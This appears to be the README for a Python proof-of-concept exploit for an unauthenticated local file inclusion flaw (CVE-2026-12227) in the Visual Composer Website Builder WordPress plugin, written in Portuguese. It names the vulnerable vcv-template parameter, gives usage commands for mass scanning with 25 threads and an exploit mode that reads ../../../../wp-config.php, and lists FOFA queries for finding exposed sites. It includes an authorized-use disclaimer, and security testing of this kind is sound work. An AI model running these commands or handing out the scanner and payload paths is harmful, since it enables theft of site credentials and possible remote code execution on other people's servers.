CVE-2026-12227 — Visual Composer Website Builder LFI Não Autenticado
PoC em Python 3 para CVE-2026-12227 (Wordfence): Local File Inclusion através do parâmetro de consulta vcv-template no Visual Composer Website Builder (visualcomposer no wordpress.org).
| |
|---|
| Plataforma | Plugin WordPress |
| Componente | Visual Composer Website Builder |
| Afetado | ≤ 45.16.0 |
| Corrigido em | > 45.16.0 (WP Trac 3619572) — use a versão estável mais recente (ex.: 45.16.3+) |
| CVSS | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticação | Não autenticado |
| CWE | CWE-98 |
| Não é | WPBakery (js_composer) ou SAP NetWeaver Visual Composer |
Resumo
Em versões vulneráveis, carregamentos de páginas públicas honram o vcv-template controlado pelo atacante (com vcv-template-type) durante o tratamento de template_include do WordPress dentro de PageTemplatesController. Isso pode incluir arquivos escolhidos pelo atacante no disco; arquivos PHP podem ser executados (RCE). O Wordfence observa cadeias com extensões "seguras" enviadas em algumas configurações.
Superfície de ataque
- Requer o plugin instalado e uma página de front-end construída com VC (permalink normal).
- A sondagem adiciona parâmetros de consulta, ex.:
?vcv-template-type=vc&vcv-template=blank ou caminhos LFI sob vcv-template.
- Parâmetros relacionados:
vcv-template-type, vcv-template-stretched.
Requisitos
pip install -r requirements.txt
Python 3.8+.
Uso
# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check
# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet
# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php
# JSON for scripting
python poc.py -u https://target.example --mode check --json
Saída
| Arquivo | Significado |
|---|
cve_2026_12227_results.jsonl | JSON completo por alvo |
Valores de status
Dicas FOFA
body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"
Notas técnicas
- Caminho do código:
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php (getCurrentTemplateLayout, viewPageTemplate).
- Check trata controle de parâmetro ou marcadores LFI como
exploitable_candidate; confirme em um clone de staging antes de assumir RCE.
- Addons premium TemplateFilter / theme-builder podem ampliar caminhos alcançáveis em alguns sites.
Legal
Use apenas em sistemas que você possui ou tem permissão explícita para testar.